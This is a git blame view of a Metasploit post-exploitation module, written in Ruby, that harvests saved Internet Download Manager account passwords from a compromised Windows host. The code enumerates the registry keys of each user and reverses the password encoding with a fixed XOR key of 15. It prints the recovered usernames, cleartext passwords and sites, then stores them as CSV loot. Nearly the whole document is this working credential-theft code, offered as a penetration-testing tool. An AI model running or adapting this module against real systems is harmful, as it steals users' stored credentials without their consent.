Files
metasploit-gs/modules/post/windows/gather/credentials/idm.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

99 lines
2.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Internet Download Manager (IDM) Password Extractor',
'Description' => %q{
2011-08-02 22:42:26 +00:00
This module recovers the saved premium download account passwords from
2023-02-08 13:47:34 +00:00
Internet Download Manager (IDM). These passwords are stored in an encoded
format in the registry. This module traverses through these registry entries
and decodes them. Thanks to the template code of theLightCosine's CoreFTP
password module.
},
'License' => MSF_LICENSE,
'Author' => [
2011-08-02 22:42:26 +00:00
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
2015-04-02 15:15:37 -05:00
'Unknown', # SecurityXploded Team, www.SecurityXploded.com
2011-08-02 22:42:26 +00:00
],
2023-02-08 13:47:34 +00:00
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
2023-02-08 13:47:34 +00:00
)
)
end
def run
2016-08-10 13:30:09 -05:00
creds = Rex::Text::Table.new(
2023-02-08 13:47:34 +00:00
'Header' => 'Internet Downloader Manager Credentials',
'Indent' => 1,
'Columns' =>
[
'User',
'Password',
'Site'
]
)
registry_enumkeys('HKU').each do |k|
next unless k.include?('S-1-5-21')
next if k.include?('_Classes')
print_status("Looking at Key #{k}")
begin
subkeys = registry_enumkeys("HKU\\#{k}\\Software\\DownloadManager\\Passwords")
2023-02-08 13:47:34 +00:00
if subkeys.nil? || subkeys.empty?
print_status('IDM not installed for this user.')
next
end
subkeys.each do |site|
2023-02-08 13:47:34 +00:00
user = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'User')
epass = registry_getvaldata("HKU\\#{k}\\Software\\DownloadManager\\Passwords\\#{site}", 'EncPassword')
next if epass.nil? || (epass == '')
pass = xor(epass)
print_good("Site: #{site} (User=#{user}, Password=#{pass})")
creds << [user, pass, site]
end
2011-07-26 01:49:51 +00:00
2023-02-08 13:47:34 +00:00
print_status('Storing data...')
2011-07-26 01:49:51 +00:00
path = store_loot(
'idm.user.creds',
'text/csv',
2011-07-26 01:49:51 +00:00
session,
creds.to_csv,
'idm_user_creds.csv',
2011-07-26 01:49:51 +00:00
'Internet Download Manager User Credentials'
)
2017-07-19 13:02:49 +01:00
print_good("IDM user credentials saved in: #{path}")
rescue StandardError => e
2023-02-08 13:47:34 +00:00
print_error("An error has occurred: #{e}")
end
end
end
2011-08-02 22:42:26 +00:00
def xor(ciphertext)
2023-02-08 13:47:34 +00:00
pass = ciphertext.unpack('C*')
key = 15
for i in 0..pass.length - 1 do
pass[i] ^= key
2011-08-02 22:42:26 +00:00
end
2023-02-08 13:47:34 +00:00
return pass.pack('C*')
end
end